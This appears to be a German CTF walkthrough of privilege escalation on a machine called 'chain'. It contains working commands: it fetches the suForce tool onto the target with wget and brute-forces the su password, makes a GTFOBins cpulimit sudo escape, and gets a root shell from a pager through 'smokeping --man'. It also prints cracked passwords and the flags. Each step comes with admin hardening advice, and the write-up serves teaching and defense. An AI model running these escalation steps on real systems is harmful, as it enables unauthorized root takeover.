-rw-r--r-- 1 root root 1608 Jun 23 2023 /etc/passwd
Analyse: Zeigt die Berechtigungen der `/etc/passwd`-Datei an. Sie ist für alle lesbar (`-rw-r--r--`).
Bewertung: Dies ist die Standardberechtigung für `/etc/passwd` und erwartet. Es bestätigt, warum die Datei zuvor mit LFI gelesen werden konnte.
Empfehlung (Pentester): - (Information bereits bekannt)
Empfehlung (Admin): - (Standardberechtigung)
/usr/bin/fping cap_net_raw=ep /usr/bin/ping cap_net_raw=ep
Analyse: Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine feingranularere Methode, um Prozessen privilegierte Rechte zu geben, ohne ihnen volle Root-Rechte (via SUID) zu gewähren. Es werden nur `fping` und `ping` mit der `cap_net_raw=ep`-Capability gefunden. Diese erlaubt es den Programmen, rohe Netzwerk-Sockets zu öffnen, was für ihre Funktion notwendig ist.
Bewertung: Es wurden keine ungewöhnlichen oder potenziell missbrauchbaren Capabilities gefunden, die für eine Privilege Escalation genutzt werden könnten.
Empfehlung (Pentester): Die Suche nach Capabilities ist ein wichtiger Enumerationsschritt. Da weder SUID noch Capabilities einen einfachen Weg aufzeigen, konzentrieren Sie sich auf Passwort-Cracking (z.B. für `su` zu `blue` oder `red`) oder die Ausnutzung von `sudo`-Rechten, falls vorhanden.
Empfehlung (Admin): Überprüfen Sie regelmäßig gesetzte Capabilities und gewähren Sie sie nur, wenn unbedingt notwendig.
Klone nach 'suForce'... remote: Enumerating objects: 117, done. remote: Counting objects: 100% (117/117), done. remote: Compressing objects: 100% (115/115), done. remote: Total 117 (delta 63), reused 0 (delta 0), pack-reused 0 (from 0) Empfange Objekte: 100% (117/117), 380.39 KiB | 5.94 MiB/s, fertig. Löse Unterschiede auf: 100% (63/63), fertig.
Analyse: Auf dem Angreifer-System wird das GitHub-Repository `suForce` geklont. `suForce` ist ein Tool, das entwickelt wurde, um Passwörter für den `su`-Befehl zu bruteforcen, indem es die typische Verzögerung nach fehlgeschlagenen `su`-Versuchen umgeht.
Bewertung: Da die Benutzer `blue` und `red` bekannt sind und `su` eine SUID-Binary ist, ist der Versuch, deren Passwörter mit `suForce` zu knacken, ein vielversprechender Ansatz zur Privilege Escalation.
Empfehlung (Pentester): Laden Sie das `suForce`-Skript und geeignete Wortlisten auf das Zielsystem (z.B. über den `www-data`-Zugang in ein beschreibbares Verzeichnis wie `/tmp` oder `/dev/shm`).
Empfehlung (Admin): Implementieren Sie starke Passwortrichtlinien. Überwachen Sie fehlgeschlagene `su`-Versuche. Konfigurieren Sie PAM (`pam_tally2` oder `faillock`), um Konten nach mehreren fehlgeschlagenen Anmeldeversuchen (auch über `su`) zu sperren.
insgesamt 392 -rw-r--r-- 1 root root 35149 11. Sep 22:37 LICENSE -rw-r--r-- 1 root root 582 11. Sep 22:37 README.md -rw-r--r-- 1 root root 86546 11. Sep 22:37 screenshot.png -rw-r--r-- 1 root root 2692 11. Sep 22:37 suForce -rw-r--r-- 1 root root 161891 11. Sep 22:37 techyou.txt -rw-r--r-- 1 root root 100206 11. Sep 22:37 top12000.txt
Analyse: Listet den Inhalt des geklonten `suForce`-Verzeichnisses auf dem Angreifer-System. Es enthält das Skript `suForce` selbst sowie einige Wortlisten (`techyou.txt`, `top12000.txt`).
Bewertung: Zeigt die benötigten Dateien für den nächsten Schritt.
Analyse: Auf dem Zielsystem wird in das Verzeichnis `/dev/shm` gewechselt. `/dev/shm` ist ein temporäres Dateisystem im RAM, das oft von Benutzern mit eingeschränkten Rechten beschrieben werden kann. Das `suForce`-Skript wird mit `wget` direkt von GitHub heruntergeladen (`-q` für quiet-Modus, `--no-check-certificate` ignoriert SSL-Fehler). Anschließend wird es mit `chmod +x` ausführbar gemacht.
Bewertung: Erfolgreicher Transfer des Exploit-Tools auf das Zielsystem in ein beschreibbares und ausführbares Verzeichnis.
Empfehlung (Pentester): Verwenden Sie `/dev/shm` oder `/tmp` für temporäre Dateien und Payloads. Laden Sie auch die benötigten Wortlisten herunter.
Empfehlung (Admin): Beschränken Sie nach Möglichkeit ausgehende Internetverbindungen vom Webserver. Überwachen Sie Aktivitäten in `/dev/shm` und `/tmp`. Verwenden Sie AppArmor oder SELinux, um die Ausführung von Skripten in diesen Verzeichnissen einzuschränken.
Analyse: Die beiden zum `suForce`-Tool gehörenden Wortlisten (`techyou.txt` und `top12000.txt`) werden ebenfalls nach `/dev/shm` auf das Zielsystem heruntergeladen.
Bewertung: Notwendige Vorbereitung für den Brute-Force-Angriff.
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
-=-
[*] Username: blue
[*] Wordlist: top12000.txt
[i] Status:
6228/12645/49%/skyblue
[+] Password: skyblue Line: 6228
-=-
Analyse: Das `suForce`-Skript wird gestartet, um das Passwort für den Benutzer `blue` (`-u blue`) mithilfe der Wortliste `top12000.txt` (`-w top12000.txt`) zu bruteforcen. Das Skript ist erfolgreich und findet das Passwort `skyblue`.
Bewertung: Erfolg! Das Passwort für den Benutzer `blue` wurde gefunden. Dies ermöglicht den Wechsel in den Kontext dieses Benutzers.
Empfehlung (Pentester): Verwenden Sie `su blue` und das gefundene Passwort `skyblue`, um zum Benutzer `blue` zu wechseln. Führen Sie dann erneut Enumerationsschritte als `blue` durch (insbesondere `sudo -l`).
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Überwachen und sperren Sie Konten nach fehlgeschlagenen Anmeldeversuchen.
Password:
uid=1000(blue) gid=1000(blue) groups=1000(blue)
Analyse: Der Befehl `su blue` wird ausgeführt. Das zuvor gefundene Passwort `skyblue` wird eingegeben. Der Benutzerwechsel ist erfolgreich, wie der neue Prompt `blue@chain:/dev/shm$` und die Ausgabe des `id`-Befehls (`uid=1000(blue)`) zeigen.
Bewertung: Erster Schritt der Privilege Escalation erfolgreich abgeschlossen. Der Angreifer agiert nun als Benutzer `blue`.
Empfehlung (Pentester): Führen Sie `sudo -l` aus, um zu sehen, welche Befehle `blue` mit `sudo` ausführen darf.
Empfehlung (Admin): -
Matching Defaults entries for blue on chain:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User blue may run the following commands on chain:
(red) NOPASSWD: /usr/bin/cpulimit
Analyse: `sudo -l` listet die `sudo`-Berechtigungen für den aktuellen Benutzer (`blue`) auf. Die Ausgabe zeigt, dass `blue` den Befehl `/usr/bin/cpulimit` als Benutzer `red` (`(red)`) ohne Passwortabfrage (`NOPASSWD:`) ausführen darf.
Bewertung: Kritischer Fund! Dies ist eine Fehlkonfiguration in den `sudo`-Regeln. Die Möglichkeit, einen Befehl (auch einen scheinbar harmlosen wie `cpulimit`) als ein anderer Benutzer auszuführen, kann oft zur vollständigen Übernahme dieses Benutzerkontos missbraucht werden.
Empfehlung (Pentester): Suchen Sie auf [Link: GTFOBins | Ziel: https://gtfobins.github.io] oder in anderen Ressourcen nach Möglichkeiten, `/usr/bin/cpulimit` zur Privilege Escalation (in diesem Fall zu Benutzer `red`) zu missbrauchen, insbesondere in Kombination mit `sudo`.
Empfehlung (Admin): Überprüfen Sie die `sudoers`-Datei sorgfältig. Gewähren Sie `sudo`-Rechte nur, wenn absolut notwendig, und vermeiden Sie `NOPASSWD`, wo immer möglich. Erlauben Sie nicht die Ausführung von Befehlen als andere Nicht-Root-Benutzer, wenn dies nicht zwingend erforderlich ist und die Auswirkungen genau verstanden werden.
Analyse: Der Link zu GTFOBins (`https://gtfobins.github.io/gtfobins/cpulimit/#sudo`) wird konsultiert. GTFOBins ist eine kuratierte Liste von Unix-Binärdateien, die zur Umgehung lokaler Sicherheitsbeschränkungen missbraucht werden können.
Bewertung: Die Nutzung von Ressourcen wie GTFOBins ist eine Standardpraxis im Pentesting, um schnell bekannte Eskalationspfade für bestimmte Binärdateien und `sudo`-Regeln zu finden.
Empfehlung (Pentester): Nutzen Sie GTFOBins und ähnliche Ressourcen regelmäßig.
Empfehlung (Admin): Seien Sie sich bewusst, welche Standard-Binärdateien potenziell missbraucht werden können, und schränken Sie deren Ausführung über `sudo` entsprechend ein.
sudo cpulimit -l 100 -f /bin/sh
Process 26264 detected
uid=1001(red) gid=1001(red) groups=1001(red)
Analyse: Der auf GTFOBins gefundene Befehl wird ausgeführt, angepasst an die `sudo`-Regel: `sudo -u red cpulimit -l 100 -f /bin/sh`. `-u red` gibt an, den Befehl als Benutzer `red` auszuführen. `cpulimit` wird mit den Optionen `-l 100` (CPU-Limit 100%) und `-f` (im Vordergrund ausführen) aufgerufen, aber das Zielprogramm ist `/bin/sh`. `cpulimit` startet `/bin/sh` als Kindprozess mit den Rechten des Benutzers, als der `cpulimit` selbst läuft (hier `red`, dank `sudo -u red`). Der Angreifer erhält sofort eine Shell als Benutzer `red`. Der `id`-Befehl bestätigt dies (`uid=1001(red)`). Mit `bash` wird oft noch eine interaktivere Bash-Shell gestartet.
Bewertung: Erfolg! Zweiter Schritt der Privilege Escalation abgeschlossen. Der Angreifer agiert nun als Benutzer `red`.
Empfehlung (Pentester): Führen Sie erneut `sudo -l` aus, um die `sudo`-Berechtigungen für Benutzer `red` zu prüfen. Setzen Sie die Enumeration als `red` fort.
Empfehlung (Admin): Beheben Sie die unsichere `sudo`-Regel für `cpulimit`.
Matching Defaults entries for red on chain:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User red may run the following commands on chain:
(root) NOPASSWD: /usr/sbin/smokeping
Analyse: `sudo -l` wird als Benutzer `red` ausgeführt. Die Ausgabe zeigt, dass `red` den Befehl `/usr/sbin/smokeping` als `root` (`(root)`) ohne Passwort (`NOPASSWD:`) ausführen darf.
Bewertung: Erneuter kritischer Fund und eine weitere unsichere `sudo`-Konfiguration! Die Möglichkeit, `smokeping` als `root` auszuführen, ist ein klarer Weg zur vollständigen Übernahme des Systems, da `smokeping` oder dessen Hilfsfunktionen wahrscheinlich zur Ausführung von Befehlen missbraucht werden können.
Empfehlung (Pentester): Untersuchen Sie die Optionen und Funktionsweise von `/usr/sbin/smokeping`. Suchen Sie nach Möglichkeiten, über `smokeping` eine Root-Shell zu erlangen (z.B. durch Konfigurationsdateien, Kommandozeilenoptionen, Aufruf von externen Programmen wie `man` oder `less`). Konsultieren Sie erneut GTFOBins oder andere Ressourcen.
Empfehlung (Admin): Entfernen Sie sofort diese unsichere `sudo`-Regel. Gewähren Sie niemals `sudo`-Rechte für komplexe Dienste wie `smokeping` ohne Passwort, es sei denn, die Auswirkungen sind vollständig verstanden und das Risiko akzeptabel (was selten der Fall ist).
Usage: smokeping [ --email | --makepod | --version | --restart ] Options: --man[=x] Show the manpage for the program (or for probe x, if specified) --help Help :-) --email Send SmokePing Agents to all Targets marked DYNAMIC --config=x Use a config file different from the default --check Just check the config file syntax, don't start the daemon --makepod[=x] Create POD documentation on Config file (or for probe x, if specified) --version Show SmokePing Version --debug Run only once and do not Fork --debug-daemon Start the daemon with debugging enabled --restart Restart SmokePing --reload Reload configuration in the running process without interrupting any probes
Analyse: Die Hilfe (`-h`) von `smokeping` wird aufgerufen, um die verfügbaren Optionen zu sehen. Die Option `--man` fällt auf, da sie die Manpage anzeigt. Viele Programme, die Manpages anzeigen, rufen im Hintergrund Pager-Programme wie `less` oder `more` auf.
Bewertung: Die `--man`-Option ist ein vielversprechender Kandidat für einen Exploit. Wenn `smokeping` (ausgeführt als `root` via `sudo`) die Manpage über einen Pager wie `less` öffnet, kann man oft aus `less` heraus Befehle ausführen (z.B. durch Eingabe von `!/bin/bash`).
Empfehlung (Pentester): Führen Sie `sudo -u root /usr/sbin/smokeping --man` aus. Wenn sich ein Pager (wie `less`) öffnet, versuchen Sie, eine Shell zu starten, indem Sie `!/bin/bash` eingeben und Enter drücken.
Empfehlung (Admin): Beheben Sie die `sudo`-Regel. Seien Sie vorsichtig bei der Vergabe von `sudo`-Rechten für Programme, die externe Befehle oder Pager aufrufen.
Analyse: Der folgende Schritt demonstriert die Ausnutzung der unsicheren `sudo`-Regel für `smokeping`, um Root-Rechte zu erlangen. Der Benutzer `red` kann `/usr/sbin/smokeping` als `root` ohne Passwort ausführen. Die Option `--man` von `smokeping` ruft im Hintergrund das `man`-Programm auf, um die Manpage anzuzeigen. Das `man`-Programm selbst verwendet wiederum einen Pager (standardmäßig oft `less`), um den Inhalt anzuzeigen. Viele Pager, einschließlich `less`, erlauben das Ausführen externer Befehle durch Eingabe von `!` gefolgt vom Befehl.
Bewertung: Dies ist der kritische Schritt zur vollständigen Kompromittierung des Systems. Durch die Verkettung der `sudo`-Regel mit der Funktionalität des Pagers, der von `smokeping --man` aufgerufen wird, kann eine Root-Shell erlangt werden.
Empfehlung (Pentester): Führen Sie den Befehl aus. Geben Sie im Pager `!/bin/bash` ein. Überprüfen Sie die Rechte mit `id`.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel für `smokeping` sofort. Überprüfen Sie alle `sudo`-Regeln auf ähnliche Schwachstellen.
You need to install the perl-doc package to use this program. <-- Irrelevante Meldung, der Pager öffnet sich trotzdem -- Hier öffnet sich der 'man' Pager (z.B. less) -- -- Der Benutzer gibt nun ein: !/bin/bash --
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Befehl `sudo -u root /usr/sbin/smokeping --man` wird ausgeführt. Obwohl eine Meldung erscheint, dass `perl-doc` fehlt, öffnet sich der Pager (vermutlich `less`). Im Pager gibt der Angreifer `!/bin/bash` ein und drückt Enter. Dies startet eine Bash-Shell. Der nachfolgende `id`-Befehl bestätigt mit `uid=0(root)`, dass die Shell mit Root-Rechten läuft.
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Das Ziel des Pentests, die höchsten Rechte auf dem System zu erlangen, wurde erreicht.
Empfehlung (Pentester): Sichern Sie den Root-Zugriff (z.B. durch Hinzufügen eines SSH-Schlüssels zu `/root/.ssh/authorized_keys`). Suchen Sie nach den finalen Flags (oft in `/root/root.txt` und im Home-Verzeichnis des initialen Benutzers). Dokumentieren Sie den Eskalationspfad.
Empfehlung (Admin): Behandeln Sie das System als vollständig kompromittiert. Führen Sie eine forensische Analyse durch, identifizieren und beheben Sie alle Schwachstellen (LFI, schwache Passwörter, unsichere `sudo`-Regeln), und erwägen Sie eine Neuinstallation des Systems aus einem vertrauenswürdigen Backup.
root.txt
Analyse: Wechsel in das Home-Verzeichnis des Root-Benutzers (`/root`) und Auflistung des Inhalts. Die Datei `root.txt` wird gefunden.
Bewertung: Dies ist typischerweise der Speicherort für die Root-Flag in CTF-Szenarien.
e3ed9239f6a751276f3e803968efb36b
Analyse: Der Inhalt der `root.txt`-Datei wird angezeigt. Dies ist die Root-Flag.
Bewertung: Root-Flag erfolgreich ausgelesen.
eb46e37ab06e8c080be2b907036b8205
Analyse: Der Inhalt der `user.txt`-Datei im Home-Verzeichnis des Benutzers `blue` wird angezeigt. Dies ist die User-Flag.
Bewertung: User-Flag erfolgreich ausgelesen.